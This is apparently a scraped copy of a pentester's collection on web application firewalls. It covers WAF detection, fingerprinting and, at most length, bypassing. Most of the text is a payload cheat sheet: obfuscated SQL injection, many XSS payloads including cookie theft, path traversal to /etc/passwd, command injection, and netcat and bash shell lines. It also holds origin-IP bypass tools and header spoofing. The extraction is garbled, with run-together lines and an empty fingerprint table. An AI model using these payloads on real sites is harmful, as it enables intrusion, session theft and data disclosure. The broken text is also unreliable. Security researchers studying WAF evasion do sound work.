
Everything about Web Application Firewalls (WAFs) from Security Standpoint! 🔥
Everything about web application firewalls (WAFs) from a security perspective. 🔥
Foreword: This was originally my own collection on WAFs. I am open-sourcing it in the hope that it will be useful for pentesters and researchers out there.As the saying goes, "the community just learns from each other."

A Concise Definition: A firewall is a security policy enforcement point positioned between a web application and the client endpoint. This functionality can be implemented in software or hardware, running in an appliance device, or in a typical server running a common operating system. It may be a stand-alone device or integrated into other network components. (Source: PCI DSS IS 6.6)
A web-application firewall sits between a user and a webapp and is tasked to prevent any malicious activity from reaching the webapp. A WAF either filters out the malicious part of the request or just simply blocks it.
Feel free to contribute.
<script>*</script> inputs prevent basic cross-site scripting attacks.80, 443, 8000, 8080 and 8888 ports. However, its important to note that a WAF can be easily deployed on any port running a HTTP service. It is good to enumerate HTTP service ports first hand and then look for WAFs.Server header (e.g. Approach, WTS WAF).To identify WAFs, we need to (dummy) provoke it.
" or 1 = 1 --.<script>alert()</script> into search bars, contact forms and other input fields.../../../etc/passwd to a random parameter at end of URL.' OR SLEEP(5) OR ' at end of URLs to any random parameter.HTTP/0.9 (HTTP/0.9 does not support POST type queries).Server header upon different types of interactions.Tip: This method could be easily achieved with tools like HPing3 or Scapy.
Tip: More details can be found in a blogpost here.
Wanna fingerprint WAFs? Lets see how.
NOTE: This section contains manual WAF detection techniques. You might want to switch over to next section.
Lets look at some methods of bypassing and evading WAFs.
Running a set of payloads against the URL/endpoint. Some nice fuzzing wordlists:
Case: SQL Injection
Keywords Filtered: and, or, union
Probable Regex: preg_match('/(and|or|union)/i', $id)
union select user, password from users1 || (select user from users where user_id = 1) = 'admin'Keywords Filtered: and, or, union, where
1 || (select user from users where user_id = 1) = 'admin'1 || (select user from users limit 1) = 'admin'Keywords Filtered: and, or, union, where, limit
1 || (select user from users limit 1) = 'admin'1 || (select user from users group by user_id having user_id = 1) = 'admin'Keywords Filtered: and, or, union, where, limit, group by
1 || (select user from users group by user_id having user_id = 1) = 'admin'1 || (select substr(group_concat(user_id),1,1) user from users ) = 1Keywords Filtered: and, or, union, where, limit, group by, select
1 || (select substr(gruop_concat(user_id),1,1) user from users) = 11 || 1 = 1 into outfile 'result.txt'1 || substr(user,1,1) = 'a'Keywords Filtered: and, or, union, where, limit, group by, select, '
1 || (select substr(gruop_concat(user_id),1,1) user from users) = 11 || user_id is not null1 || substr(user,1,1) = 0x611 || substr(user,1,1) = unhex(61)Keywords Filtered: and, or, union, where, limit, group by, select, ', hex
1 || substr(user,1,1) = unhex(61)1 || substr(user,1,1) = lower(conv(11,10,36))Keywords Filtered: and, or, union, where, limit, group by, select, ', hex, substr
1 || substr(user,1,1) = lower(conv(11,10,36))1 || lpad(user,7,1)Keywords Filtered: and, or, union, where, limit, group by, select, ', hex, substr, white space
1 || lpad(user,7,1)1%0b||%0blpad(user,7,1)1. Case Toggling
Standard: <script>alert()</script>
Bypassed: <ScRipT>alert()</sCRipT>
Standard: SELECT * FROM all_tables WHERE OWNER = 'DATABASE_NAME'
Bypassed: sELecT * FrOm all_tables whERe OWNER = 'DATABASE_NAME'
2. URL Encoding
Blocked: <svG/x=">"/oNloaD=confirm()//
Bypassed: %3CsvG%2Fx%3D%22%3E%22%2FoNloaD%3Dconfirm%28%29%2F%2F
Blocked: uNIoN(sEleCT 1,2,3,4,5,6,7,8,9,10,11,12)
Bypassed: uNIoN%28sEleCT+1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%29
3. Unicode Normalization
Standard: <marquee onstart=prompt()>
Obfuscated: <marquee onstart=\u0070r\u06f\u006dpt()>
Blocked: /?redir=http://google.com
Bypassed: /?redir=http://google。com (Unicode alternative)
Blocked: <marquee loop=1 onfinish=alert()>x
Bypassed: <marquee loop=1 onfinish=alert︵1)>x (Unicode alternative)
Standard: ../../etc/passwd
Obfuscated: %C0AE%C0AE%C0AF%C0AE%C0AE%C0AFetc%C0AFpasswd
4. HTML Representation
Standard: ">
Encoded: "><img src=x onerror=confirm()> (General form)
Encoded: "><img src=x onerror=confirm()> (Numeric reference)
5. Mixed Encoding
Obfuscated:
<A HREF="h
tt p://6 6.000146.0x7.147/">XSS</A>
6. Using Comments
Blocked: <script>alert()</script>
Bypassed: <!--><script>alert/**/()/**/</script>
Blocked: /?id=1+union+select+1,2,3--
Bypassed: /?id=1+un/**/ion+sel/**/ect+1,2,3--
7. Double Encoding
Standard: http://victim/cgi/../../winnt/system32/cmd.exe?/c+dir+c:\
Obfuscated: http://victim/cgi/%252E%252E%252F%252E%252E%252Fwinnt/system32/cmd.exe?/c+dir+c:\
Standard: <script>alert()</script>
Obfuscated: %253Cscript%253Ealert()%253C%252Fscript%253E
8. Wildcard Obfuscation
Standard: /bin/cat /etc/passwd
Obfuscated: /???/??t /???/??ss??
Used chars: / ? t s
Standard: /bin/nc 127.0.0.1 1337
Obfuscated: /???/n? 2130706433 1337
Used chars: / ? n [0-9]
9. Dynamic Payload Generation
Standard: <script>alert()</script>
Obfuscated: <script>eval('al'+'er'+'t()')</script>
Standard: /bin/cat /etc/passwd
Obfuscated: /bi'n'''/c''at' /e'tc'/pa''ss'wd
Bash allows path concatenation for execution.
Standard: ``
Obfuscated:
13. Token Breakers
Attacks on tokenizers attempt to break the logic of splitting a request into tokens with the help of token breakers.
Token breakers are symbols that allow affecting the correspondence between an element of a string and a certain token, and thus bypass search by signature.
However, the request must still remain valid while using token-breakers.
Case: Unknown Token for the Tokenizer
?id=‘-sqlite_version() UNION SELECT password FROM users --Case: Unknown Context for the Parser (Notice the uncontexted bracket)
?id=123);DROP TABLE users --?id=1337) INTO OUTFILE ‘xxx’ --TIP: More payloads can be crafted via this cheat sheet.
14. Obfuscation in Other Formats
Case: IIS
Original Request:
POST /sample.aspx?id1=something HTTP/1.1
HOST: victim.com
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Content-Length: 41
id2='union all select * from users--
Obfuscated Request + URL Encoding:
POST /sample.aspx?%89%84%F1=%A2%96%94%85%A3%88%89%95%87 HTTP/1.1
HOST: victim.com
Content-Type: application/x-www-form-urlencoded; charset=ibm037
Content-Length: 115
%89%84%F2=%7D%A4%95%89%96%95%40%81%93%93%40%A2%85%93%85%83%A3%40%5C%40%86%99%96%94%40%A4%A2%85%99%A2%60%60
The following table shows the support of different character encodings on the tested systems (when messages could be obfuscated using them):
TIP: You can use this small python script to convert your payloads and parameters to your desired encodings.
Below is a comparison of different servers and their relative interpretations:
Sample Payload: 1001 RLIKE (-(-1)) UNION SELECT 1 FROM CREDIT_CARDS
Sample Query URL: http://test.com/url?a=1001+RLIKE&b=(-(-1))+UNION&c=SELECT+1&d=FROM+CREDIT_CARDS
TIP: A real life example how bypasses can be crafted using this method can be found here.
Example request:
GET /page.php?p=∀㸀㰀script㸀alert(1)㰀/script㸀 HTTP/1.1 Host: site.com User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:32.0) Gecko/20100101 Firefox/32.0 Accept-Charset:utf-32; q=0.5 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate
When the site loads, it will be encoded to the UTF-32 encoding that we set, and
then as the output encoding of the page is UTF-8, it will be rendered as: "<script>alert (1) </ script> which will trigger XSS.
Final URL encoded payload:
%E2%88%80%E3%B8%80%E3%B0%80script%E3%B8%80alert(1)%E3%B0%80/script%E3%B8%80
Payload examples:
<scri%00pt>alert(1);</scri%00pt>
<scri\x00pt>alert(1);</scri%00pt>
<s%00c%00r%00%00ip%00t>confirm(0);</s%00c%00r%00%00ip%00t>
Standard: <a href="javascript:alert()">
Obfuscated: <a href="ja0x09vas0x0A0x0Dcript:alert(1)">clickme</a>
Variant: <a 0x00 href="javascript:alert(1)">clickme</a>
%, //, !, ?, etc.Examples:
<// style=x:expression\28write(1)\29> - Works upto IE7 (Source)<!--[if]><script>alert(1)</script --> - Works upto IE9 (Reference)<?xml-stylesheet type="text/css"?><root style="x:expression(write(1))"/> - Works in IE7 (Reference)<%div%20style=xss:expression(prompt(1))> - Works Upto IE70x00 to 0xFF and get the set of separators for each browser.Here is a compiled list of separators by @Masato Kinugawa:
0x09, 0x0B, 0x0C, 0x20, 0x3B0x09, 0x20, 0x28, 0x2C, 0x3B0x2C, 0x3B0x09, 0x20, 0x28, 0x2C, An exotic payload example:
<a/onmouseover[\x0b]=location='\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3A\x61\x6C\x65\x72\x74\x28\x30\x29\x3B'>pwn3d
Some common keywords overlooked by WAF developers:
windowparentthisselfonwheelontoggleonfilterchangeonbeforescriptexecuteondragstartonauxclickonpointeroversrcdoclpadfieldExample Payloads:
<script>window['alert'](https://github.com/0xinfection/awesome-waf/blob/HEAD/0)</script>
<script>parent['alert'](https://github.com/0xinfection/awesome-waf/blob/HEAD/1)</script>
<script>self['alert'](https://github.com/0xinfection/awesome-waf/blob/HEAD/2)</script>
SELECT if(LPAD(' ',4,version())='5.7',sleep(5),null);
1%0b||%0bLPAD(USER,7,1)
Many alternatives to the original JavaScript can be used, namely:
However the problem in using the above syntactical structures is the long payloads which might possibly be detected by the WAF or may be blocked by the CSP. However, you never know, they might bypass the CSP (if present) too. ;)
Tool: abuse-ssl-bypass-waf
python abuse-ssl-bypass-waf.py -thread 4 -target <target>
CLI tools like cURL can come very handy for PoCs:
curl --ciphers <cipher> -G <test site> -d <payload with parameter>
A similar technique was used to bypass Google Cloud Platform WAF.
TIP: Some online services like IP History and DNS Trails come to the rescue during the recon process.
Tool: bypass-firewalls-by-DNS-history
bash bypass-firewalls-by-DNS-history.sh -d <target> --checkall
*-sync-request keywords or a shared token value is used as the secret.Now when making a request to the server, you can append it as a parameter:
http://host.com/?randomparameter=<malicious-payload>&<shared-secret>=True
A real life example how this works can be found at this blog.
Some common headers used:
X-Originating-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Client-IP: 127.0.0.1
Before anything else, you should hone up skills from Google Dorks Cheat Sheet.
Normal search:
+<wafname> waf bypass
Searching for specific version exploits:
"<wafname> <version>" (bypass|exploit)
For specific type bypass exploits:
"<wafname>" +<bypass type> (bypass|exploit)
On Exploit DB:
site:exploit-db.com +<wafname> bypass
On 0Day Inject0r DB:
site:0day.today +<wafname> <type> (bypass|exploit)
On Twitter:
site:twitter.com +<wafname> bypass
On Pastebin
site:pastebin.com +<wafname> bypass
%C0%80'+union+select+col1,col2,col3+from+table+--+
"; select * from TARGET_TABLE --
<script>eval(atob(decodeURIComponent("payload")))//
<strong><button popovertarget=x>click me</button><test onbeforetoggle=alert(document.domain) popover id=x>aaa</aaa></strong>
<body style="height:1000px" onwheel="alert(1)">
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="alert(1)">
<b/%25%32%35%25%33%36%25%36%36%25%32%35%25%33%36%25%36%35mouseover=alert(1)>
GET /cgi-mod/index.cgi?&primary_tab=ADVANCED&secondary_tab=test_backup_server&content_only=1&&&backup_port=21&&backup_username=%3E%22%3Ciframe%20src%3Dhttp%3A//www.example.net/etc/bad-example.exe%3E&&backup_type=ftp&&backup_life=5&&backup_server=%3E%22%3Ciframe%20src%3Dhttp%3A//www.example.net/etc/bad-example.exe%3E&&backup_path=%3E%22%3Ciframe%20src%3Dhttp%3A//www.example.net/etc/bad-example.exe%3E&&backup_password=%3E%22%3Ciframe%20src%3Dhttp%3A//www.example.net%20width%3D800%20height%3D800%3E&&user=guest&&password=121c34d4e85dfe6758f31ce2d7b763e7&&et=1261217792&&locale=en_US
Host: favoritewaf.com
User-Agent: Mozilla/5.0 (compatible; MSIE5.01; Windows NT)
<a href=j%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At:open()>clickhere
POST host.com HTTP/1.1
Host: favoritewaf.com
User-Agent: Mozilla/5.0 (compatible; MSIE5.01; Windows NT)
author=1
http://host/wp-admin///load-scripts.php?load%5B%5D=jquery-core,jquery-migrate,utils
http://host/wp-admin///load-styles.php?load%5B%5D=dashicons,admin-bar
http://host/index.php/wp-json/wp/v2/users/
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:tem="http://tempuri.org/">
<soapenv:Header/>
<soapenv:Body>
<string>’ union select current_user, 2#</string>
</soapenv:Body>
</soapenv:Envelope>
http://host/ws/generic_api_call.pl?function=statns&standalone=%3c/script%3e%3cscript%3ealert(document.cookie)%3c/script%3e%3cscript%3e
<svg onx=() onload=(confirm)(1)>
<a+HREF='javascrip%26%239t:alert%26lpar;document.domain)'>test</a>
<svg onload=prompt%26%230000000040document.domain)>
<svg onload=prompt%26%23x000000028;document.domain)>
xss'">;prompt`${document.domain}`%26lt;/script>'>
1'">
<svg/onload=alert()//
<a href="j	a	v	asc
ri	pt:\u0061\u006C\u0065\u0072\u0074(this['document']['cookie'])">X</a>`
<--` --!>
javascript:{alert`0`}
<base href=//knoxss.me?
<j id=x style="-webkit-user-modify:read-write" onfocus={window.onerror=eval}throw/0/+name>H</j>#x
cat$u+/etc$u/passwd$u
/bin$u/bash$u <ip> <port>
";cat+/etc/passwd+#
<a69/onclick=[1].findIndex(alert)>pew
| WAF | Fingerprints |
| 360 |
|
| aeSecure |
|
| Airlock |
|
| AlertLogic |
|
| Aliyundun |
|
| Anquanbao |
|
| Anyu |
|
| Approach |
|
| Armor Defense |
|
| ArvanCloud |
|
| ASPA |
|
| ASP.NET Generic |
|
| Astra |
|
| AWS ELB |
|
| Baidu Yunjiasu |
|
| Barikode |
|
| Barracuda |
|
| Bekchy |
|
| BinarySec |
|
| BitNinja |
|
| BIG-IP ASM |
|
| BlockDos |
|
| Bluedon IST |
|
| BulletProof Security Pro |
|
| CDN NS Application Gateway |
|
| Cerber (WordPress) |
|
| Chaitin Safeline |
|
| ChinaCache |
|
| Cisco ACE XML Gateway |
|
| Cloudbric |
|
| Cloudflare |
|
| CloudfloorDNS |
|
| Cloudfront |
|
| Comodo cWatch |
|
| CrawlProtect |
|
| Deny-All |
|
| Distil Web Protection |
|
| DoSArrest Internet Security |
|
| DotDefender |
|
| DynamicWeb Injection Check |
|
| e3Learning Security |
|
| EdgeCast (Verizon) |
|
| Eisoo Cloud |
|
| Expression Engine |
|
| F5 ASM |
|
| FortiWeb |
|
| GoDaddy |
|
| GreyWizard |
|
| Huawei Cloud |
|
| HyperGuard |
|
| IBM DataPower |
|
| Imperva Incapsula |
|
| Imunify360 |
|
| IndusGuard |
|
| Instart DX |
|
| ISA Server |
|
| Janusec Application Gateway |
|
| Jiasule |
|
| KeyCDN |
|
| KnownSec |
|
| KONA Site Defender (Akamai) |
|
| LiteSpeed |
|
| Malcare |
|
| MissionControl Application Shield |
|
| ModSecurity |
|
| ModSecurity CRS |
|
| NAXSI |
|
| Nemesida |
|
| Netcontinuum |
|
| NetScaler AppFirewall |
|
| NevisProxy |
|
| NewDefend |
|
| Nexusguard |
|
| NinjaFirewall |
|
| NSFocus |
|
| NullDDoS |
|
| onMessage Shield |
|
| OpenResty Lua WAF |
|
| Palo Alto |
|
| PentaWAF |
|
| PerimeterX |
|
| pkSecurityModule IDS |
|
| Positive Technologies Application Firewall |
|
| PowerCDN |
|
| Profense |
|
| Proventia (IBM) |
|
| Puhui |
|
| Qiniu CDN |
|
| Radware Appwall |
|
| Reblaze |
|
| Request Validation Mode |
|
| RSFirewall |
|
| Sabre |
|
| Safe3 |
|
| SafeDog |
|
| SecKing |
|
| SecuPress |
|
| Secure Entry |
|
| SecureIIS |
|
| SecureSphere |
|
| SEnginx |
|
| ServerDefender VP |
|
| Shadow Daemon |
|
| ShieldSecurity |
|
| SiteGround |
|
| SiteGuard (JP Secure) |
|
| SiteLock TrueShield |
|
| SonicWall |
|
| Sophos UTM |
|
| SquareSpace |
|
| SquidProxy IDS |
|
| StackPath |
|
| Stingray |
|
| Sucuri CloudProxy |
|
| Synology Cloud |
|
| Tencent Cloud |
|
| Teros |
|
| TrafficShield |
|
| TransIP |
|
| UCloud UEWaf |
|
| URLMaster SecurityCheck |
|
| URLScan |
|
| USP Secure Entry |
|
| Varnish (OWASP) |
|
| Varnish CacheWall |
|
| Viettel |
|
| VirusDie |
|
| WallArm |
|
| WatchGuard IPS |
|
| WebARX Security |
|
| WebKnight |
|
| WebLand |
|
| WebRay |
|
| WebSEAL |
|
| WebTotem |
|
| West263CDN |
|
| Wordfence |
|
| WTS-WAF |
|
| XLabs Security WAF |
|
| Xuanwudun WAF |
|
| Yunaq Chuangyu |
|
| Yundun |
|
| Yunsuo |
|
| YxLink |
|
| ZenEdge |
|
| ZScaler |
|
| Target | Encodings | Notes |
| Nginx, uWSGI-Django-Python3 | IBM037, IBM500, cp875, IBM1026, IBM273 |
|
| Nginx, uWSGI-Django-Python2 | IBM037, IBM500, cp875, IBM1026, utf-16, utf-32, utf-32BE, IBM424 |
|
| Apache-TOMCAT8-JVM1.8-JSP | IBM037, IBM500, IBM870, cp875, IBM1026, IBM01140, IBM01141, IBM01142, IBM01143, IBM01144, IBM01145, IBM01146, IBM01147, IBM01148, IBM01149, utf-16, utf-32, utf-32BE, IBM273, IBM277, IBM278, IBM280, IBM284, IBM285, IBM290, IBM297, IBM420, IBM424, IBM-Thai, IBM871, cp1025 |
|
| Apache-TOMCAT7-JVM1.6-JSP | IBM037, IBM500, IBM870, cp875, IBM1026, IBM01140, IBM01141, IBM01142, IBM01143, IBM01144, IBM01145, IBM01146, IBM01147, IBM01148, IBM01149, utf-16, utf-32, utf-32BE, IBM273, IBM277, IBM278, IBM280, IBM284, IBM285, IBM297, IBM420, IBM424, IBM-Thai, IBM871, cp1025 |
|
| IIS6, 7.5, 8, 10 -ASPX (v4.x) | IBM037, IBM500, IBM870, cp875, IBM1026, IBM01047, IBM01140, IBM01141, IBM01142, IBM01143, IBM01144, IBM01145, IBM01146, IBM01147, IBM01148, IBM01149, utf-16, unicodeFFFE, utf-32, utf-32BE, IBM273, IBM277, IBM278, IBM280, IBM284, IBM285, IBM290, IBM297, IBM420,IBM423, IBM424, x-EBCDIC-KoreanExtended, IBM-Thai, IBM871, IBM880, IBM905, IBM00924, cp1025 |
|
| Environment | Parameter Interpretation | Example |
| ASP/IIS | Concatenation by comma | par1=val1,val2 |
| JSP, Servlet/Apache Tomcat | First parameter is resulting | par1=val1 |
| ASP.NET/IIS | Concatenation by comma | par1=val1,val2 |
| PHP/Zeus | Last parameter is resulting | par1=val2 |
| PHP/Apache | Last parameter is resulting | par1=val2 |
| JSP, Servlet/Jetty | First parameter is resulting | par1=val1 |
| IBM Lotus Domino | First parameter is resulting | par1=val1 |
| IBM HTTP Server | Last parameter is resulting | par1=val2 |
| mod_perl, libapeq2/Apache | First parameter is resulting | par1=val1 |
| Oracle Application Server 10G | First parameter is resulting | par1=val1 |
| Perl CGI/Apache | First parameter is resulting | par1=val1 |
| Python/Zope | First parameter is resulting | par1=val1 |
| IceWarp | An array is returned | ['val1','val2'] |
| AXIS 2400 | Last parameter is resulting | par1=val2 |
| DBMan | Concatenation by two tildes | par1=val1~~val2 |
| mod-wsgi (Python)/Apache | An array is returned | ARRAY(0x8b9058c) |
0x3B0x09, 0x20, 0x2C, 0x3B0x09, 0x20, 0x28, 0x2C, 0x3Bbit_count